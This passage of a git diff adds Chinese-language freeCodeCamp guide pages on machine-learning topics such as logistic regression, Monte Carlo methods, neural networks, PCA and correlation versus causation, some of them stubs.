+ X = train.iloc[:, 0:4].values 
+ y = train.iloc[:, 4].values 
+ X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0) 
+ X_train 
+ model = lr() 
+ model.fit(X_train, y_train) 
+ print(model.score(X_train,y_train)) 
+ y_pred_class = model.predict(X_test) 
+ model.score(X_train,y_train) 
+ print(model.coef_) 
+ print(model.intercept_) 
+ # calculate accuracy 
+ from sklearn import metrics 
+ print(metrics.accuracy_score(y_test, y_pred_class)) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/logistic-regression/index.md b/client/src/guide/chinese/machine-learning/logistic-regression/index.md
new file mode 100644
index 0000000000..449e6951be
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/logistic-regression/index.md
@@ -0,0 +1,61 @@
+---
+title: Logistic Regression
+localeTitle: Logistic回归
+---
+## Logistic回归
+
+![物流功能](https://qph.fs.quoracdn.net/main-qimg-7c9b7670c90b286160a88cb599d1b733) Logistic回归非常类似于线性回归，因为它尝试在给定一组X输入变量的情况下预测响应变量Y.它是一种监督学习形式，它试图通过首先用标记数据训练来预测未标记的，看不见的数据的响应，这是对独立（X）和从属（Y）变量的一组观察。但是，虽然[线性回归](https://guide.freecodecamp.org/machine-learning/linear-regression)假设响应变量（Y）是定量的或连续的，但当响应变量是定性的或离散的时，Logistic回归特别使用。 ![线性与逻辑](http://www.saedsayad.com/images/LogReg_1.png)
+
+#### 怎么运行的
+
+Logistic回归模拟响应变量Y属于某个类别的概率。在许多情况下，响应变量将是二进制变量，因此逻辑回归将要模拟函数y = f（x），该函数输出一个归一化值，对于X的所有值，范围从0到1，对应于Y的两个可能值。它通过使用逻辑函数来实现： 当因变量是二分的时（二元），逻辑回归是进行适当的回归分析。与所有回归分析一样，逻辑回归是预测分析。逻辑回归用于描述数据并解释一个从属二元变量与一个或多个名义，序数，区间或比率级别自变量之间的关系。
+
+![成本函数](https://cdn-images-1.medium.com/max/800/1*wHtYmENzug_W6fIE9xY8aw.jpeg) Logistic回归用于解决分类问题，其中输出的形式为y∈{0,1}。这里，0是负类，1是正类。假设我们有一个假设hθ（x），其中x是长度为m的数据集（矩阵）。 θ是参数矩阵。我们有：0 <hθ（x）<1
+
+在Logistic回归中，hθ（x）是S形函数，因此hθ（x）= g（θ'x）。 g（θ'x）= 1/1 + e ^（ - θ'x）
+
+注意：θ'是θ转置。
+
+#### 成本函数
+
+用于Logistic回归的成本函数是：
+
+J（θ）=（1 / m）ΣCost（hθ（x（i）），y（i）），其中求和是从i = 1到m。
+
+如果y = 1，则成本（hθ（x），y​​）= - log（hθ（x）） 如果y = 0，则成本（hθ（x），y​​）= - log（1-hθ（x））
+
+#### 使用逻辑回归的预测：
+
+Logistic回归模拟默认类（即第一类）的概率。 您可以对以下给出的结果进行分类：
+
+y = e ^（b0 + b1 _X）/（1 + e ^（b0 + b1_ X））
+
+类似于sigmoid函数0.5被设置为决策边界所有x，其中y≥0.5被分类为A类，并且y <0.5被分类为B类。
+
+#### 多类逻辑回归：
+
+虽然您会看到通常在二进制分类的情况下使用逻辑回归，但您也可以在以下情况下使用它来分类为多个类：
+
+##### 一对一方法：
+
+这里，每个类的分类器分别创建，分数最高的分类器被视为输出。
+
+##### 一对一的方法：
+
+这里制作多个（N \* N（N-1）/ 2，其中N =没有类）二进制分类器，然后通过比较它们的分数来获得输出。
+
+#### 逻辑回归的应用：
+
+1）将邮件归类为垃圾邮件或非垃圾邮件。 2）根据症状和其他医学数据确定某些疾病如癌症的存在与否。 3）基于像素数据对图像进行分类。
+
+#### Logistic回归假设
+
+二元逻辑回归要求因变量为二进制。 对于二元回归，因变量的因子级别1应表示期望的结果。 只应包含有意义的变量。 独立变量应该彼此独立。也就是说，模型应该具有很少或没有多重共线性。 自变量与对数几率线性相关。 Logistic回归需要非常大的样本量。
+
+#### 更多信息：
+
+为了进一步阅读，逐步建立逻辑回归：
+
+*   单击[此处](https://medium.com/towards-data-science/building-a-logistic-regression-in-python-step-by-step-becd4d56c9c8)获取有关在Python中构建Logistic回归的文章。
+*   单击[此处](http://nbviewer.jupyter.org/gist/justmarkham/6d5c061ca5aee67c4316471f8c2ae976)获取有关构建逻辑回归的另一篇文章。
+*   点击[此处](http://nbviewer.jupyter.org/gist/justmarkham/6d5c061ca5aee67c4316471f8c2ae976)查看另一篇关于逻辑回归背后的数学和直觉的文章。
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/monte-carlo/index.md b/client/src/guide/chinese/machine-learning/monte-carlo/index.md
new file mode 100644
index 0000000000..4d8aeb80e4
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/monte-carlo/index.md
@@ -0,0 +1,20 @@
+---
+title: Monte Carlo
+localeTitle: 蒙特卡洛
+---
+## 蒙特卡洛
+
+蒙特卡罗是一类模拟技术，允许您探索具有可以承担多个值的输入的问题的解决方案空间。通过使用随机输入和模型参数运行模拟，您可以观察到可能还有其他未经测试的输入所导致的结果。该方法可用于解决可能难以分析解决的问题。它不是一种确切的方法，而是一种启发式方法，通常使用随机性和统计数据来获得结果。该算法终止于具有概率正确的答案。
+
+它是一个使用随机数产生结果的计算过程。不是具有固定输入，而是将概率分布分配给一些或所有输入。这将在模拟运行后生成输出的概率分布。
+
+例如，蒙特卡罗算法可用于估计π的值。半径1的四分之一圆内的面积量取决于π的值。随机选择的点位于该四分之一圆的概率取决于圆的面积。如果将点随机放置在长度为1的边的正方形中，则落在半径1的四分之一圆内的点的百分比将取决于π的值。蒙特卡罗算法将随机地在正方形中放置点，并使用落在圆内的点的百分比来估计π的值。这是进行近似的有效方法。
+
+在现代通信系统中，信息交换的质量由信道中噪声的存在决定。噪声的主要来源 - 本质上是随机的加性高斯白噪声（AWGN）可以使用蒙特卡罗算法来模拟通信系统。
+
+### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Monte_Carlo_method)
+*   [Wolfram MathWorld](http://mathworld.wolfram.com/MonteCarloMethod.html)
+*   [Minitab文章 - 蒙特卡洛并不像你想象的那么困难](http://blog.minitab.com/blog/understanding-statistics/monte-carlo-is-not-as-difficult-as-you-think)
+*   [蒙特卡罗算法（4:41）](https://www.youtube.com/watch?v=Q2-FH36LuT0)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/natural-language-processing/index.md b/client/src/guide/chinese/machine-learning/natural-language-processing/index.md
new file mode 100644
index 0000000000..9da02fb98b
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/natural-language-processing/index.md
@@ -0,0 +1,61 @@
+---
+title: Natural Language Processing
+localeTitle: 自然语言处理
+---
+## 自然语言处理（NLP）
+
+正如维基百科所说，“自然语言处理（NLP）是计算机科学，信息工程和人工智能的一个子领域，涉及计算机与人类（自然）语言之间的相互作用，特别是如何对计算机进行编程以处理和分析大量数据自然语言数据。“ 简单来说，这是一个由人类产生的自然语言被计算机感知的过程。
+
+### NLP面临的挑战
+
+#### 1.轻松或大部分解决
+```
+          *Spam detection 
+          *Part of Speech Tagging 
+          *Named Entity Recognition 
+```
+
+#### 2.中级或取得良好进展
+```
+          *Sentiment analysis 
+          *Coreference resolution 
+          *Word sense disambiguation 
+          *Parsing 
+          *Machine Translation 
+          *Information Translation 
+```
+
+#### 3.很难还是还需要很多工作
+```
+          *Text Summarization 
+          *Machine dialog system 
+```
+
+### 常用技巧
+```
+         *Structure extraction 
+         *Identify and mark sentence, phrase, and paragraph boundaries 
+         *Language identification 
+         *Tokenization 
+         *Acronym normalization and tagging 
+         *Lemmatization / Stemming 
+         *Entity extraction 
+         *Phrase extraction 
+```
+
+### 常用的图书馆
+```
+            *NLTK, the most widely-mentioned NLP library for Python. 
+        *SpaCy, an industrial-strength NLP library built for performance. 
+        *Gensim, a library for document similarity analysis. 
+        *TextBlob, a user-friendly and intuitive NLTK interface. 
+        *CoreNLP from stanford group 
+        *PolyGlot, a natural language pipeline that supports massive multilingual applications. 
+```
+
+#### 更多信息：
+
+进一步阅读：
+
+*   点击[此处](https://medium.com/@gon.esbuyo/get-started-with-nlp-part-i-d67ca26cc828)查看有关NLP介绍的文章。
+*   单击[此处](https://en.wikipedia.org/wiki/Natural_language_processing)查看Wikipedia参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/neural-networks/convolutional-neural-networks/index.md b/client/src/guide/chinese/machine-learning/neural-networks/convolutional-neural-networks/index.md
new file mode 100644
index 0000000000..dd30f57691
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/neural-networks/convolutional-neural-networks/index.md
@@ -0,0 +1,12 @@
+---
+title: Convolutional Neural Networks
+localeTitle: 卷积神经网络
+---
+卷积神经网络（ConvNets或CNN）是一类神经网络，已经证明在图像识别和分类等领域非常有效。除了为机器人和自动驾驶汽车提供视力外，ConvNets还成功识别了面部，物体和交通标志。
+
+### 建议的链接：
+
+*   斯坦福CS231n [讲座5卷积神经网络](https://www.youtube.com/watch?v=bNb2fEVKeEo)
+*   斯坦福CS231n [第9讲CNN架构](https://www.youtube.com/watch?v=DAOcjicFr1Y&t=2384s)
+*   Udacity深度学习： [卷积网络](https://www.youtube.com/watch?v=jajksuQW4mc)
+*   Andrew Ng的DeepLearning.ai： [卷积神经网络](https://www.coursera.org/learn/convolutional-neural-networks/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/neural-networks/generative-adversarial-networks/index.md b/client/src/guide/chinese/machine-learning/neural-networks/generative-adversarial-networks/index.md
new file mode 100644
index 0000000000..7ad0dd7f39
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/neural-networks/generative-adversarial-networks/index.md
@@ -0,0 +1,21 @@
+---
+title: Generative Adversarial Networks
+localeTitle: 生成性对抗网络
+---
+## 生成性对抗网络
+
+## 概观
+
+生成对抗网络（GAN）是一类用于[无监督机器学习的](https://en.wikipedia.org/wiki/Unsupervised_machine_learning) [人工智能](https://en.wikipedia.org/wiki/Artificial_intelligence)算法，由在零和游戏框架中相互竞争的两个[神经网络](https://en.wikipedia.org/wiki/Neural_network)系统实现。他们是由Ian Goodfellow等人介绍的。这种技术可以生成至少对人类观察者来说表面上看起来真实的照片，具有许多现实特征（尽管在测试中人们可以从许多情况下的生成中看出真实的）。
+
+## 方法
+
+一个网络生成候选（生成），另一个网络[评估它们](https://en.wikipedia.org/wiki/Turing_test) （判别）。通常，生成网络学习从[潜在空间](https://en.wikipedia.org/wiki/Latent_variable)映射到感兴趣的特定数据分布，而判别网络区分真实数据分布的实例和生成器产生的候选。生成网络的训练目标是增加判别网络的错误率（即，通过产生似乎来自真实数据分布的新颖合成实例来“欺骗”鉴别器网络）。
+
+实际上，已知数据集用作鉴别器的初始训练数据。训练鉴别器涉及向数据集提供样本，直到达到某种程度的准确性。通常，发生器接种有随机输入，该随机输入从预定义的潜在空间（例如， [多变量正态分布](https://en.wikipedia.org/wiki/Multivariate_normal_distribution) ）采样。此后，由鉴别器评估由发生器合成的样品。在两个网络中应用[反向传播](https://en.wikipedia.org/wiki/Backpropagation) ，使得生成器产生更好的图像，而鉴别器在标记合成图像方面变得更加熟练。生成器通常是反卷积神经网络，鉴别器是[卷积神经网络](https://en.wikipedia.org/wiki/Convolutional_neural_network) 。
+
+2013年，Li，Gauci和Gross提出了在竞争环境中推断模型（模型与鉴别器）的想法。他们的方法用于行为推理。它被称为图灵学习，因为设置类似于[图灵测试](https://en.wikipedia.org/wiki/Turing_test) 。图灵学习是GAN的概括。可以考虑除神经网络之外的模型。此外，允许鉴别器影响获得数据集的过程，使其成为图灵测试中的主动询问器。对抗训练的想法也可以在早期的作品中找到，例如1992年的Schmidhuber。
+
+## 应用
+
+GAN已经被用于生成[照片级真实感](https://en.wikipedia.org/wiki/Photorealistic)图像的样本，以便可视化新的内部/工业设计，鞋子，包和服装项目或用于计算机游戏场景的物品。据报道，这些网络将被Facebook使用。最近，GAN已经模拟了视频中的运动模式。它们还被用于从图像重建物体的3D模型并改善天文图像。 2017年，使用完全卷积前馈GAN，使用自动纹理合成和感知损失进行图像增强。该系统专注于逼真的纹理，而不是像素精度。结果是在高放大率下具有更高的图像质量。
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/neural-networks/index.md b/client/src/guide/chinese/machine-learning/neural-networks/index.md
new file mode 100644
index 0000000000..37cd68c1d0
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/neural-networks/index.md
@@ -0,0 +1,64 @@
+---
+title: Neural Networks
+localeTitle: 神经网络
+---
+## 神经网络
+
+![前馈神经网络](http://ufldl.stanford.edu/tutorial/images/SingleNeuron.png)
+
+人工神经网络是计算系统。它们就像构成动物大脑的生物神经网络。 为了训练神经网络，我们需要一个输入向量和一个相应的输出向量。 培训通过最小化错误术语来进行。该误差可以是预测输出和原始输出之间的平方差。
+
+神经网络取得巨大成功的基本原则是“通用逼近定理”。已经在数学上证明了神经网络是通用逼近机器，其能够近似给定输入和输出之间的任何数学函数。
+
+神经网络最初在20世纪80年代开始流行，但计算能力的限制使得它们在过去十年中被广泛接受。 CPU大小和功率的创新允许大规模实现神经网络，尽管其他机器学习范例在效率方面仍然超过神经网络。
+
+神经网络的最基本元素是神经元。它的输入是一个向量，比如`x` ，它的输出是一个实值变量，比如`y` 。因此，我们可以得出结论，神经元充当向量`x`和实数`y`之间的映射。
+
+神经网络跨多个层迭代地执行回归，从而产生更细微的预测模型。 神经网络中的单个节点计算与[逻辑回归](../logistic-regression/index.md)完全相同的函数。 除了输入和输出之外，所有这些层都是隐藏的，也就是说，程序员不会选择或修改这些层所代表的特定特征。
+
+![四层神经网络](http://cs231n.github.io/assets/nn1/neural_net2.jpeg)
+
+在任何给定层中，每个节点将存储在前一层中的所有值作为输入，并基于逻辑回归分析对它们进行预测。 神经网络的力量在于它们“发现”程序员看不到的模式和特征的能力。 如前所述，中间层是“隐藏的”，意味着给予转换的权重仅由算法的训练确定。
+
+神经网络用于各种任务。这些包括计算机视觉，语音识别，翻译，社交网络过滤，玩视频游戏和医学诊断等。
+
+### 可视化
+
+有一个很棒的工具可以帮助你掌握神经网络的概念，而无需任何硬数学： [TensorFlow Playground](http://playground.tensorflow.org) ，一个网络应用程序，让你玩浏览器中运行的真实神经网络，点击按钮，调整参数，看看它是如何工作的。
+
+### 使用神经网络解决问题
+
+*   分类
+*   聚类
+*   回归
+*   异常检测
+*   关联规则
+*   强化学习
+*   结构化预测
+*   特征工程
+*   特色学习
+*   学习排名
+*   语法归纳
+*   天气预报
+*   生成图像
+
+### 常见的神经网络系统
+
+今天使用的最常见的神经网络属于[深度学习](https://github.com/freeCodeCamp/guides/blob/master/src/pages/machine-learning/deep-learning/index.md)类别。深度学习是将多层神经元链接起来以允许网络在输入和输出向量之间创建越来越抽象的映射的过程。深度神经网络最常使用[反向传播](https://github.com/freeCodeCamp/guides/blob/master/src/pages/machine-learning/backpropagation/index.md) ，以便汇聚最精确的映射。
+
+第二种最常见的神经网络形式是nueroevolution。在该系统中，随机生成多个神经网络作为初始猜测。然后，使用多代合并精确的大多数网络和随机排列来收敛更准确的映射。
+
+### 神经网络的类型
+
+*   递归神经网络（RNN）
+*   长短期记忆（LSTM），一种RNN
+*   卷积神经网络（CNN）
+
+### 更多信息：
+
+*   [神经网络 - 维基百科](https://en.wikipedia.org/wiki/Artificial_neural_network#Components_of_an_artificial_neural_network)
+*   [丹尼尔希夫曼的代码本质](http://natureofcode.com/book/chapter-10-neural-networks/)
+*   [斯坦福大学，多层神经网络](http://ufldl.stanford.edu/tutorial/supervised/MultiLayerNeuralNetworks/)
+*   [3Blue1Brown，具有神经网络内容的Youtube频道](https://youtu.be/aircAruvnKk)
+*   [Siraj Raval，Youtube CHannel与神经网络内容](https://youtu.be/h3l4qz76JhQ)
+*   [神经进化 - 维基百科](https://en.wikipedia.org/wiki/Neuroevolution)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/neural-networks/multi-layer-perceptron/index.md b/client/src/guide/chinese/machine-learning/neural-networks/multi-layer-perceptron/index.md
new file mode 100644
index 0000000000..74c915504f
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/neural-networks/multi-layer-perceptron/index.md
@@ -0,0 +1,11 @@
+---
+title: Multi Layer Perceptron
+localeTitle: 多层感知器
+---
+## 多层感知器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/neural-networks/multi-layer-perceptron/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/neural-networks/perceptron/index.md b/client/src/guide/chinese/machine-learning/neural-networks/perceptron/index.md
new file mode 100644
index 0000000000..029aa61ca0
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/neural-networks/perceptron/index.md
@@ -0,0 +1,11 @@
+---
+title: Perceptron
+localeTitle: 感知
+---
+## 感知
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/neural-networks/perceptron/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/neural-networks/recurrent-neural-networks/index.md b/client/src/guide/chinese/machine-learning/neural-networks/recurrent-neural-networks/index.md
new file mode 100644
index 0000000000..2207151750
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/neural-networks/recurrent-neural-networks/index.md
@@ -0,0 +1,11 @@
+---
+title: Recurrent Neural Networks
+localeTitle: 递归神经网络
+---
+## 递归神经网络
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/neural-networks/recurrent-neural-networks/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/one-shot-learning/index.md b/client/src/guide/chinese/machine-learning/one-shot-learning/index.md
new file mode 100644
index 0000000000..f355019d85
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/one-shot-learning/index.md
@@ -0,0 +1,16 @@
+---
+title: One-Shot Learning
+localeTitle: 一次性学习
+---
+# 一次性学习
+
+人类学习新概念时几乎不需要重复 - 例如，孩子可以概括这个概念 一本书中的一张“猴子”，但我们最好的深度学习系统需要数百或者一本 成千上万的例子可以掌握任何对象，甚至可以达到相当高的准确度。这激发了我们感兴趣的环境：“一次性”学习，其中 包括从单个（或很少）标记的示例中学习一个类。
+
+一次性学习有各种方法，如[相似度函数](https://www.coursera.org/lecture/convolutional-neural-networks/one-shot-learning-gjckG) ， [贝叶斯的概率定理](https://www.youtube.com/watch?v=FIjy3lV_KJU) ，DeepMind使用One-Shot学习方法提出了它自己的神经网络版本！
+
+### 更多信息：
+
+*   [Siraj Raval在YouTube上](https://www.youtube.com/watch?v=FIjy3lV_KJU&feature=youtu.be)
+*   [Andrew Ng（Deeplearning.ai）](https://www.coursera.org/lecture/convolutional-neural-networks/one-shot-learning-gjckG)
+*   [学术文章](http://web.mit.edu/cocosci/Papers/Science-2015-Lake-1332-8.pdf)
+*   [维基百科](https://en.wikipedia.org/wiki/One-shot_learning)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principal-component-analysis/eigen-faces/index.md b/client/src/guide/chinese/machine-learning/principal-component-analysis/eigen-faces/index.md
new file mode 100644
index 0000000000..8e4970c362
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principal-component-analysis/eigen-faces/index.md
@@ -0,0 +1,35 @@
+---
+title: Eigen Faces
+localeTitle: 自己的面孔
+---
+## 特征面孔
+
+### 大纲
+
+*   问题
+*   解决方法
+*   数据集
+*   数学分析
+*   影像重建
+
+### 问题
+
+我们通常使用数据协方差矩阵的特征值和特征向量来计算我们的主成分。如果由于内存问题而无法计算协方差矩阵怎么办？
+
+### 解决方法
+
+我们现在使用一个技巧。我们使用多个图像，而不是使用协方差矩阵的图像尺寸。这开辟了另一个优势。现在我们拥有了所有图像的特征向量，我们所需要的只是这些m图像能够重建世界上的任何图像。
+
+### 定义数据集
+
+考虑我们有大小为nx n的灰度图像。 m的数量级为100，n的数量级为10000.我们的目标是选择正确表示图像所有特征的k个分量。 我们现在创建一个矩阵X，我们在那里按行存储展平的图像（n ^ 2 x 1）。因此X的尺寸为n ^ 2 x m。
+
+### 数学分析
+
+计算这个矩阵的协方差是事情变得有趣的地方。 矩阵X的协方差定义为点（X，XT），其维数为n ^ 2 xn ^ 2.对于如此大的数据集，这显然会超出内存。 现在考虑以下方程组。 dot（XT，X）V =λV其中V是特征向量，λ是相应的特征值。 预先乘以X， 点（点（X，XT），点（X，V））=λ点（X.V） 因此，我们发现协方差矩阵的特征向量只是图像矩阵和点（XT，X）的特征向量的点积。
+
+因此，我们计算点（XT，X），其维数仅为mxm，并使用该矩阵的特征向量来构造特征向量 原始矩阵。 点（XT，X）的m个特征值（连同它们对应的特征向量）对应于点（X，XT）的m个最大特征值（以及它们对应的特征向量）。我们的要求 特征向量只是第一个k个本征向量及其相应的特征值。我们现在计算一个特征脸矩阵，这只是对它们加权的图像 特征向量。每个k图像的权重现在将是点（XT，特征脸（前k个值））。
+
+### 影像重建
+
+这种方法可以帮助我们仅使用m个图像的k个特征来表示任何图像。可以使用这些权重来重建任何图像。 要获得任何图像， 图像（i）=点（特征脸（k），权重\[i，：\]。T）
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principal-component-analysis/index.md b/client/src/guide/chinese/machine-learning/principal-component-analysis/index.md
new file mode 100644
index 0000000000..dde008519d
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principal-component-analysis/index.md
@@ -0,0 +1,62 @@
+---
+title: Principal Component Analysis
+localeTitle: 主成分分析
+---
+## 主成分分析（PCA）
+
+### 它是什么？
+
+主成分分析（PCA）是一种用于机器学习的算法，用于减少数据集的维数。您可以将包含数百个不同要素的数据集缩减为仅包含两个的新数据集。
+
+例如，假设您想测量飞行员的能力。这涉及许多不同的因素。要考虑的两个相关特征可能是飞行员的技能和飞行员的乐趣。这将是一个二维数据集，因为它包含两个特征。 PCA可以通过将这些功能融合在一起来将这些功能合二为一。您可以将此新功能称为“飞行员资格”。此新功能为您提供了一个更简单的衡量飞行员能力的指标。
+
+如果您将飞行员技能与驾驶员的乐趣相提并论，您可能会得到以下结果：
+
+![绘制飞行员技能与飞行员享受](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/plot-skill-vs-enjoyment.png?raw=true)
+
+直观地说，PCA所做的是找到投影这两个特征的最佳直线（或平面，在更高维度的情况下）。通过在点和线之间绘制垂直线来完成投影。您可以在下面看到以下插图：
+
+![投影到线上](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/projection.png?raw=true)
+
+您可以将PCA视为找到数据集的最佳线，以便更好地保留每个点的信息。它通过最小化每个点的平方投影误差的总和来实现这一点。投影误差是将每个点投射到线上的垂直线的长度。通过最小化这些，您可以确保所选择的直线是这两个特征的最佳组合。
+
+下面是一个用于投影数据的良好行的示例，以及一个错误的行。好线的结果预测更能代表原始数据，并且误差较小。坏线的结果预测显然是更糟糕的表现，投影误差要大得多。
+
+![点数的好与坏预测](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/good-vs-bad-projection.png?raw=true)
+
+**重要提示** ：值得注意的是，PCA与[线性回归](https://en.wikipedia.org/wiki/Linear_regression)不同。他们的优化目标（他们的目标是最小化）是不同的。
+
+如果您在试用数据集上运行PCA，您可能会得到一个新功能，“pilot aptitude”，看起来像这样：
+
+![使用PCA转换导频数据集](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/PCA-on-dataset.png?raw=true)
+
+PCA背后的数学有点复杂，但您无需成为专家就可以使用它。即使背后有很多线性代数，使用它也相对容易。这是因为有大量的代码库和现成的PCA实现。一些例子包括：
+
+*   [JavaScript PCA实现](https://github.com/mljs/pca) 。
+*   [Python scikit-learn实现](http://scikit-learn.org/stable/modules/generated/sklearn.decomposition.PCA.html) 。
+*   [MATLAB实现](https://www.mathworks.com/help/stats/pca.html) 。
+
+### 为什么要用它？
+
+使用PCA算法的原因有很多。一个非常重要的是可视化数据。很容易看到1-D，2-D甚至3-D数据，但除此之外，它变得很难。在机器学习中，在开始处理数据之前可视化数据通常非常有用。但是高维数据集很难想象。通过使用PCA，可以将百维数据集简化为二维数据集。
+
+这在实际情况下尤其有用，其中数据集通常是高维的。例如，您可以将经济绩效指标（如GDP，HDI等）合并为一个功能。这使您可以在国家/地区之间进行更好的比较，还可以使用图表可视化数据。
+
+使用PCA算法的另一个原因是使数据集更小。对于涉及数十万个功能（如图像处理）的问题，机器学习算法可能需要很长时间才能运行。通过减少功能的数量，您可以在不牺牲准确性的情况下提高这些算法的速度。您还可以节省大量磁盘空间，尤其是在使用大型数据集时。
+
+### 限制
+
+由于您在运行PCA时基本上简化了数据集，因此在此过程中可能会丢失一些细节。特别是数据点非常分散并且没有非常强的相关性。
+
+#### 推荐阅读：
+
+*   https://www.reddit.com/r/datascience/comments/668pp1
+*   https://en.wikipedia.org/wiki/Principal _组件_分析
+*   http://www.cs.otago.ac.nz/cosc453/student _tutorials / principal_ components.pdf
+*   http://setosa.io/ev/principal-component-analysis/（互动）
+
+维基百科说，“主成分分析（PCA）是一种统计程序，它使用正交变换将可能相关变量的一组观察值转换为一组线性不相关变量的值，称为主成分（或有时，主要变化模式） “。
+
+主成分分析（PCA）是一种统计技术，用于检查一组变量之间的相互关系，以便识别这些变量的基础结构。 PCA通常将特征数量从N维减少到k维，其中k <N
+
+PCA有以下应用： 1）压缩：提高计算速度并减少存储空间 2）可视化：PCA可以将数据减少为二维或三维数据以用于可视化目的
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/correlation-does-not-imply-causation/index.md b/client/src/guide/chinese/machine-learning/principles/correlation-does-not-imply-causation/index.md
new file mode 100644
index 0000000000..348195ed13
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/correlation-does-not-imply-causation/index.md
@@ -0,0 +1,24 @@
+---
+title: Correlation Does not Imply Causation
+localeTitle: 相关性并不意味着因果关系
+---
+## 相关性并不意味着因果关系
+
+许多与健身和健康相关的网站经常忽略这一点，即在这些领域中经常发生的研究。他们将科学研究报告为因果关系而不是实际情况，即相关性。例如。研究人员发现，早起者的BMI较低，并且发现肥胖较少。这种相关性可能被误解为“早起就可以减少肥胖的机会”。我们不知道只是早起'造成'结果 - 降低肥胖。我们在这里找到的是相关性。
+
+相关性的非正式定义如下：当事件A发生时，事件B也倾向于发生，反之亦然。或者早起的人倾向于朝向体重谱的低端。这两件事都倾向于一起发生。但是一个事件没有必要引起另一个事件。
+
+因果关系意味着事件A'引起'或导致事件B发生。例如。如果我站在阳光下，我会晒黑。这里第二个事件因为第一个而发生。
+
+在统计学中，有很多关于**相关变量**的讨论。相关性是两个变量之间的关系。 **因果关系**是指一种关系，其中在一个变量的变化**是负责**另一个变量的变化。这也称为**因果关系** 。
+
+当两个变量之间存在因果关系时，它们之间也存在相关性。但是，两个变量之间的相关性并不意味着它们之间存在因果关系。这是一个[合乎逻辑的谬误](https://en.wikipedia.org/wiki/Formal_fallacy) 。
+
+这是因为两个变量之间的相关性可以解释为多种原因：
+
+*   一个变量影响另一个变量。这_将_是一种因果关系。例如，家庭工资和拥有的汽车数量之间存在相关性。
+*   两个变量都相互影响。这_将_是一种双向因果关系。例如，教育水平与人的财富之间的相关性。
+*   还有另一个变量正在影响检查中的两个变量。这_不是_因果关系。例如，拥有的汽车数量和房屋的大小可能是相关的，但这两个变量受另一个变量的影响：工资。拥有的汽车数量的增加不会影响房屋的大小。
+*   相关可能是一次随机事故。这_不是_因果关系。这是对前一个人造黄油消费和缅因州离婚率的例子的解释。
+
+在机器学习中，相关性足以制作预测模型。然而，仅仅因为两个变量是相关的并不意味着一个变量影响另一个变量。换句话说，虽然机器学习可能有助于找到两个变量之间的关系，但它并不一定有助于找到关系的原因。
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/data-alone-is-not-enough/index.md b/client/src/guide/chinese/machine-learning/principles/data-alone-is-not-enough/index.md
new file mode 100644
index 0000000000..f38055793b
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/data-alone-is-not-enough/index.md
@@ -0,0 +1,23 @@
+---
+title: Data Alone Is not Enough
+localeTitle: 单独的数据还不够
+---
+## 单独的数据还不够
+
+不考虑改变机器学习算法或其他方面 训练模型，单靠数据不足以帮助学习者做得更好。
+
+> 每个学习者都必须在数据之外体现一些知识或假设 为了超越它而给出（Domingos，2012）。
+
+这句话基本上是说，如果你盲目地选择一个 学习者只是因为你听说它做得好，收集更多的数据不会 必然会帮助您实现机器学习目标。
+
+例如，假设您有依赖于时间的数据（例如时间序列数据） 并且您想使用二元分类器（例如逻辑回归）。搜集 更多时间序列数据可能不是最好的帮助您的学习者。这是 因为二进制分类器不是为时间序列设计的。
+
+这并不是说一旦你选择了最好的机器学习算法 根据您的问题，添加更多数据对您没有好处。在这种情况下，它 会帮助你。
+
+> 机器学习并不神奇;它无法从无到有。什么 确实是从更少的人那里获得更多...学习者将知识与数据结合起来 计划（多明戈斯，2012年）。
+
+#### 更多信息：
+
+*   [关于机器学习的一些有用的事情](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf)
+*   [在机器学习中，什么是更好的：更多数据或更好的算法？](http://www.kdnuggets.com/2015/06/machine-learning-more-data-better-algorithms.html)
